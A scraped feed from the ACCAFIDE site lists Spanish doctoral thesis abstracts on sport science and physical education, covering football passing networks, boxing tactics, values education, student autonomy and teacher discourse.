Finally we will study how the play of a team serving graph theory, or the theory of complex networks is organized. The element on which we focus is the pass, technical element as a parameter to define both the nodes in the network (player) and the relationships between them (passes) that play the role of link or links between players of equipment.
La entrada Análisis del desarrollo del juego del fútbol 11, desde la óptica de los sistemas complejos se publicó primero en ACCAFIDE.
]]>La entrada Análisis de las acciones técnico-tácticas del boxeo de rendimiento se publicó primero en ACCAFIDE.
]]>Análisis de las acciones técnico-tácticas del boxeo de rendimiento.
Título en inglés:
Analysis of the technical and tactical actions of the boxing performance.
Autor/a:
Maykel Balmaseda Alburquerque (ecboxeo@yahoo.es)
Directores/as (nombre y apellidos):
Julen Castellano Paulis (UPV/EHU) y Oidui Usabiaga Arruabarrena (UPV/EHU).
Fecha de lectura:
6 – 4 – 2011.
Calificación:
Sobresaliente “Cum Laude” por unanimidad.
Programa de doctorado:
Actividad Física y el Deporte
Departamento:
Educación Física y Deportiva de la Universidad del País Vasco (UPV/EHU)
Palabras clave:
Boxeo, acciones técnico-tácticas, metodología observacional.
Keywords:
Boxing, actions technician – tactics, methodology observacional.
Resumen:
En la presente investigación se ha elaborado una herramienta observacional que permite el análisis y descripción de las acciones técnico-tácticas del boxeo de rendimiento por medio de la utilización de parámetros científicos marcados por la Metodología Observacional (MO). Tras elaborar un protocolo de observación, entrenar a los observadores y superar las pruebas de calidad del dato (concordancia intra e inter observadores), han sido codificados diez combates de boxeo por grupos de categorías de peso (muestra estimada a partir de la Teoría de la Generalizabilidad), correspondientes a los campeonatos de Euskadi de boxeo. Los datos obtenidos han sido analizados utilizando diferentes técnicas: descriptivas, secuenciales y de coordenadas polares. Los resultados de estos análisis han permitido estimar patrones de conductas y mapas conductuales donde se ofrecen las transiciones y relaciones de excitación o inhibición entre las categorías del sistema taxonómico.
El análisis de las acciones técnico-tácticas del boxeo han permitido conocer las relaciones que existen entre los distintos elementos del campo táctico de este deporte, el flujo de las conductas estratégicas, el uso de espacio, los contextos de interacción, así como las tendencias de las distintas secuencias de acciones que ocurren durante un combate o evento boxístico. Mediante la descripción, en definitiva, se ha logrado establecer, a grandes rasgos, los patrones de conducta de un competidor, un equipo, una selección, un evento o competición determinada, permitiendo diagnosticar esta realidad y, con ello, conocer y tipificar en términos técnico-tácticos los combates de boxeo. Contribuyendo a determinar de forma predictiva (aunque no determinística) los patrones de conducta con una probabilidad de aparición superior a la estimada por el azar, en relación a las conductas estratégicas que suceden en el boxeo de rendimiento.
Abstract:
In the present investigation a observational tool has been elaborated in order to analysing and describing the performance of the boxer, using the Observational Methodology (MO). Using a elaborated protocol of observation, after of training the observers and testing the quality of the data (agreement of observers, intra and inter), ten combats of boxing have been codified by groups of categories of weight (sample estimated from the Theory of the Generalizability), corresponding to the Basque Country Boxing Championship. After that the data has been analyzed using different analytical techniques: descriptive, sequential and polar coordinates. The results of these analyses have allowed know patterns of conducts and behavioral maps where it can see the transitions and the relations of excitation or inhibition among the categories of the taxonomic system.
The analysis of the boxing behaviors have helped to know the relations that exist between the different tactical behavior, the flow of the strategic conducts, the use of the space, the contexts of interaction, as well as the trends of the different sequences of actions that happen during a combat of boxing. The results of the current research could be applied to predict (from a probabilistic perspective but not deterministic) the probability of occurrence of the different behaviors happened in the boxing performance.
La entrada Análisis de las acciones técnico-tácticas del boxeo de rendimiento se publicó primero en ACCAFIDE.
]]>La entrada La socialización oculta en educación física. Análisis de la enseñanza de las actividades físicas y deportivas en Meliana (Valencia) se publicó primero en ACCAFIDE.
]]>La entrada La socialización oculta en educación física. Análisis de la enseñanza de las actividades físicas y deportivas en Meliana (Valencia) se publicó primero en ACCAFIDE.
]]>La entrada La educación en valores desde los deportes de equipo. Estudio de la aplicación de un programa sistémico en un grupo de educación primaria se publicó primero en ACCAFIDE.
]]>La educación en valores desde los deportes de equipo. Estudio de la aplicación de un programa sistémico en un grupo de educación primaria.
Autor
Jesús Vicente Ruiz Omeñaca
Resumen
Toda acción pedagógica que pretenda convertir el deporte en un hecho educativo ha de estar impregnada de una orientación ética. El compromiso con esta premisa llevó a elaborar un programa de educación en valores desde los deportes de cooperación-oposición para alumnos de educación primaria, contextualizado en un ambiente específico y emprendido desde una óptica sistémica, de modo que, en su seno se integraron acciones abordadas desde las clases de educación física, desde el deporte extraescolar y desde la vida familiar.
En el ámbito escolar el programa se articuló a través de varias vías: la actuación sistemática desarrollada en torno a los procesos de comunicación y a las relaciones interpersonales, la toma de decisiones sobre cuestiones metodológicas, ligadas al modelo comprensivo y al aprendizaje cooperativo, y el desarrollo de actividades específicas abordadas desde la clarificación de valores, la discusión de dilemas morales, la comprensión crítica y la autorregulación. Mientras, la actuación de los técnicos deportivos que desarrollaban su labor en el marco extraescolar giró, entre otras cuestiones, en torno a la provisión de contextos éticos, a su actuación como modelos ante los participantes, a la promoción de la deportividad y el juego limpio y a la búsqueda de un deporte no sexista. Y la relacionada con las familias se centró en su actuación como modelo ante sus hijos, su participación como espectadores, el tratamiento crítico de lo que procede del deporte espectáculo, y su actuación en pos de la deportividad y el juego limpio.
La investigación desarrollada en torno a este programa, desde la combinación entre metodología cualitativa y cuantitativa, se centró en conocer los referentes éticos de los participantes y los procesos vividos durante su participación, y en determinar los cambios experimentados en el desarrollo del juicio moral, los sistemas de valores de referencia y la puesta en juego de comportamientos con implicaciones éticas.
Los resultados más destacados de la investigación llevaron a concluir que, en el seno de la puesta en práctica del programa, los participantes tomaron partido, desde la clarificación de valores y la comprensión crítica, por posiciones próximas al marco axiológico que servía de referencia al propio programa, experimentaron emociones positivas, vivieron un buen clima de convivencia, dieron muestras de un comportamiento asertivo, manifestaron actitudes prosociales, actuaron de un modo deportivo y abordaron los conflictos desde procesos dialógicos centrados en la negociación. Asimismo, de la investigación no se pudo concluir la existencia de cambios estadísticamente significativos en los procesos de razonamiento moral de los participantes. Tampoco se dieron cambios significativos en los sistemas de valores ni en la jerarquía a la que los sometían, si bien los que sirvieron de referencia para los participantes, desde el inicio del programa, se mantuvieron a lo largo de éste y fueron coherentes con los referentes que mantenía el propio programa. Finalmente se mostraron cambios estadísticamente significativos, en la dirección promovida por el programa, en una parte importante de los comportamientos interactivos objeto de estudio. Y, con independencia de los cambios experimentados, en todos ellos se mostraron puntuaciones próximas a las máximas en los comportamientos interactivos positivos y en los relativos al cumplimiento de las reglas de juego, y cercanas a las mínimas en los comportamientos interactivos negativos.
La entrada La educación en valores desde los deportes de equipo. Estudio de la aplicación de un programa sistémico en un grupo de educación primaria se publicó primero en ACCAFIDE.
]]>La entrada Estrategias de intervención docente en educación física para el desarrollo de la autonomía en el alumnado de educación primaria se publicó primero en ACCAFIDE.
]]>Estrategias de intervención docente en educación física para el desarrollo de la autonomía en el alumnado de educación primaria
Título en inglés:
Teaching strategies for intervention in physical education for development of autonomy in primary education students
Autor/a:
Antonio Gómez Rijo / Facultad de Educación / ULL / agomrij77@gmail.com
Director:
Francisco Jimenez Jimenez / Facultad de Educación / ULL /
Fecha de lectura:
06/07/2012
Calificación:
“Cum laude” por unanimidad. Premio extraordinario tesis doctoral en Ciencias Sociales (2012) por la ULL
Programa de doctorado:
Praxiología Motriz, Educación Física y Entrenamiento Deportivo
Departamento:
Didáctica de la Expresión Musical, Plástica y Corporal
Palabras clave:
Autonomía, Educación Física, Intervención docente
Keywords:
Autonomy, Physical Education, Teaching strategies
Resumen:
El objetivo de la investigación es conocer de qué manera un docente puede promover, a través de su intervención, estrategias para desarrollar la autonomía en el alumnado de Educación Primaria para el área de Educación Física. El planteamiento del problema surge como necesidad personal del investigador de mejorar su propia práctica docente. En el marco teórico se tratan, entre otros aspectos, la pedagogía crítica, la teoría de la autodeterminación, el socioconstructivismo, el concepto de autonomía y la intervención docente en el área. El método consiste en un enfoque mixto que combina una parte cuantitativa y una cualitativa. La muestra consta de 3 profesores y 41 alumnos de tercer ciclo de primaria de colegios de la isla de Tenerife. Se utilizaron como instrumentos cuantitativos: una escala likert y un sistema de categorías-formato de campo; para la parte cualitativa, se usó un sistema de categorías diseñado a partir del análisis de contenido. El diseño consta de una fase de preformación, una de formación (seminario de investigación-acción) y otra de postformación. Los resultados muestran que el profesorado ha adquirido estrategias que le permiten desarrollar la autonomía del alumnado. Éstas van encaminadas a ceder responsabilidades en cuestiones de motricidad, organización, tiempo, espacio y material. El alumnado se muestra con más autonomía, más satisfecho, más responsable y con la percepción de haber aprendido significativamente. Como conclusión, se puede establecer que la metodología en la que el alumno toma decisiones en su proceso de aprendizaje es válido para desarrollar la autonomía.
Abstract:
The aim of the research is to understand how a teacher can promote, through its intervention strategies to develop autonomy in students of primary school for the area of Physical Education. The statement of the problem emerges as the researcher personal need to improve their own teaching practice. In the theoretical framework are discussed, among other things, critical pedagogy, the theory of self-determination, socioconstructivism, the concept of autonomy and teacher intervention in the area. The method is a hybrid approach that combines a quantitative and a qualitative part. The sample consists of 3 teachers and 41 students of elementary schools in the island of Tenerife. Were used as quantitative tools: A Likert scale and a category system – field format; for the qualitative part, designed a system of categories from content analysis was used. The design consists of a stage preforming a training (action research seminar) and a post-formation. The results show that teachers have acquired strategies that allow you to develop autonomy of students. These are intended to assign responsibilities in matters of motor skills, organization, time, space and material. Students are shown with more autonomy, more satisfied, more responsible and the perception of having learned significantly. In conclusion, it can be established that the methodology in which students make decisions in their learning process is valid to develop autonomy.
La entrada Estrategias de intervención docente en educación física para el desarrollo de la autonomía en el alumnado de educación primaria se publicó primero en ACCAFIDE.
]]>La entrada Análisis del discurso docente como recurso metodológico del profesorado de educación física en la etapa de educación primaria se publicó primero en ACCAFIDE.
]]>Análisis del discurso docente como recurso metodológico del profesorado de educación física en la etapa de educación primaria
Título en inglés:
Analysis of teacher-led discourse as a methodological resource form primary school physical education teachers
Autor:
Abraham García Fariña (agarfar@ull.edu.es)
Directores:
Dr. Francisco Jiménez Jiménez (ULL) y Dra. María Teresa Anguera Argilaga (UB).
Fecha de lectura:
14/12/2015
Calificación:
Sobresaliente “Cum Laude”, Mención Internacional y Premio Extraordinario de Doctorado.
Programa de doctorado:
Praxiología Motriz, Educación Física y Entrenamiento Deportivo
Departamento:
Didácticas Específicas (Área de Didáctica de la Expresión Corporal) (ULL)
Palabras clave:
Educación Física, Constructivismo, Estrategias Discursivas, Métodos mixtos
Keywords:
Physical Education, Constructivism, Instructional Communication, Mixed Methods.
Resumen:
Este estudio analiza el discurso docente de cuatro maestros especialistas en Educación Física en Primaria desde la perspectiva socioconstructivista, que concede una gran importancia a la comunicación verbal como un poderoso instrumento para la construcción de significados compartidos sobre los contenidos escolares entre el profesor y el alumnado. Se ha utilizado un procedimiento metodológico mixto basado en multimétodo (metodología observacional y selectiva), junto a un enfoque mixed methods en el análisis de contenido a partir de una herramienta de observación ad hoc que combina formato de campo y sistema de categorías partiendo de la propuesta teórica de estrategias discursivas de Coll y Onrubia (2001). Mediante tres técnicas analíticas (Análisis secuencial de retardos, T-patterns y Coordenadas polares) se ha examinado una unidad didáctica a cada profesor en tres momentos distintos: antes y después de su participación en un proceso colaborativo de investigación-acción (I-A) (preformación, postformación a corto plazo y postformación a medio plazo), a excepción de un maestro que no participó en el proceso y que actuó de control no equivalente. A este último participante se le examinó la unidad didáctica antes y después. El proceso de I-A (8 sesiones) estuvo centrado en el conocimiento de estrategias discursivas docentes como recurso metodológico. Además, se aplicaron cuestionarios ad hoc al profesorado y su alumnado acerca del empleo de las estrategias discursivas en todas las fases. Los resultados de las técnicas analíticas muestran la aparición de un patrón discursivo recurrente en todo el profesorado, formado por la estrategia pregunta-respuesta e incorporación literal de esa aportación del alumnado al discurso del profesor en todas las fases. Antes del proceso I-A, un participante genera, además, un patrón discursivo formado por marco social y específico de referencia. Después del proceso I-A (a corto plazo), el patrón recurrente tiende a degradarse en más clústeres de la misma combinación de estrategias. En la fase de postformación a medio plazo, una participante genera un patrón compuesto de marco específico de referencia y preguntas, en el resto no se aprecian cambios significativos. Se detecta una mayor frecuencia y variedad de estrategias discursivas tras la participación del profesorado en el proceso de I-A. Los resultados de los cuestionarios han mostrado controversia en las estrategias discursivas identificadas mediante las técnicas analíticas. El proceso de I-A se presenta como un mecanismo de formación permanente que posibilita la mejora del discurso docente desde un enfoque socioconstructivista.
Abstract
Social constructivism attaches great importance to the role of language as a powerful tool for building shared meanings about school content between the teacher and the students. The purpose of this study was to examine the effects of a social constructivist-based intervention on the discursive strategies used by four physical education specialists. Discourse analysis techniques were combined with observations of four teachers communication in context, based on the theoretical work of Coll & Onrubia (2001). Each teachers communication was analyzed across four stages: (a) Baseline, (b) Intervention, (c) Post Intervention (1 month), and (d) Follow-up (1 month). During Baseline, the teachers taught using their normal communication patterns for one month. During Intervention, three of the teachers received action research-oriented training to learn social constructivist discursive strategies, then taught eight 15-day units over four months. The fourth teacher served as a control. The Post Intervention stage occurred immediately following the intervention phase and lasted for one month. The Follow-up stage occurred eleven months following the Post Intervention stage and lasted for one month. Three analytical techniques (lag sequential analysis, t-patterns and polar coordinates), in addition to questionnaires administered to the teachers and their students, were used to assess changes in the teachers discursive strategies. Results showed that while all four teachers used similar communication patterns before the intervention, the three teachers who received training demonstrated changes in their discursive strategies during Post Intervention and Follow-up that aligned with social constructivist principles from the training. For the intervention teachers, a recurring communication pattern was observed, characterized by a teacher question, followed by a student response, and concluding with the teachers recapitulation of the students response. The intervention teachers newly adopted communication patterns manifested a concern to generate moments of reflection on learning that involved the students in the teaching-learning process, a key element in the construction of knowledge. Analyses revealed no changes in the fourth (control) teachers communication patterns. This study supports using an action research process to support teachers professional development as instructional communicators, specifically by enhancing their use of social constructivist discursive strategies.
La entrada Análisis del discurso docente como recurso metodológico del profesorado de educación física en la etapa de educación primaria se publicó primero en ACCAFIDE.
]]>